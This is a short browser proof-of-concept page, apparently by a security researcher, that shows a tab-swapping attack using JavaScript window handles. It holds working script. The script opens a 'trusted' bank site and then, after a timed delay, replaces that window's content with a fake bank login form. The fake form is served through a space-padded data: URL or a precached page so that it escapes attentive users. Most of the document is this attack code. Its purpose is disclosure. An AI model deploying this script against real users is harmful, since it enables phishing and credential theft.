JavaScript Switcharoo Proof Of Concept

/* 

Another whimsical browser proof-of-concept:

http://lcamtuf.coredump.cx/switch/

It seems that relatively few people realize that holding a JavaScript
handle to another window (either because we opened it, or because the
window was at some point displaying our content) allows the attacker
to tamper with the location and history objects at will, largely
bypassing the usual SOP controls. With some minimal effort and the
help of data: / javascript: URLs or precached pages, this can be
leveraged to replace content in a manner that will likely escape even
fairly attentive users.

/mz

*/



<script>

/*
    If you don't get it, beaver.coredump.cx is a trusted banking website;
    everything else is attacker-controlled. We begin by opening the
    legitimate, trusted website. Timing is essential. Once the banking 
    website is loaded, follow the displayed security tip.

 */

var spaces = 
  "                                                                          " +
  "                                                                          " +
  "                                                                          " +
  "                                                                          " +
  "                                                                          " +
  "                                                                          " +
  "                                                                          " +
  "                                                                          ";

var bank_html =
  "<title>Beaver Creek Online Banking and BBQ</title>" + 
  "<h1>Beaver Creek Online Banking and BBQ</h1>" +
  "<p>" +
  "<font color=crimson>Security tip: please confirm that you see " +
  "<code>http://beaver.coredump.cx/</code> in the address bar!</font>" +
  "<p><table><tr>" +
  "<td>Login:</td><td><input type=text></td></tr><tr>" +
  "<td>Password:</td><td><input type=password></td></tr></table><p>" +
  "<input type=submit value='Log in!'>";

var w;

function dostuff() {

  /* Precache */

  if ('v' == '\v') {
    var x = new Image();
    x.src = 'http://spoofed.coredump.cx/phish/';
  }

  w = window.open('http://beaver.coredump.cx/beaver/', 'target');

  setTimeout(dostuff2, 5000);

}


function dostuff2() {

  if ('v' == '\v')
    w.open('http://spoofed.coredump.cx/phish/','target');
  else 
    w.location.replace('data:text/html;np.cx/beaver/' + spaces + ',' + escape(bank_html));

}

</script>
<h3>The old switcharoo</h3>
This is hardly new, but illustrates the effectiveness of using
data: or precached content to do the deed. You're probably
fooling yourself if you think you'd spot this happening to you
in the wild.
<p>
<input type=submit onclick="dostuff()" value="Do it">
<p>
<font color=gray>PS. If you don't get it, close the window and try again. If you're still stumped, view the source.</font>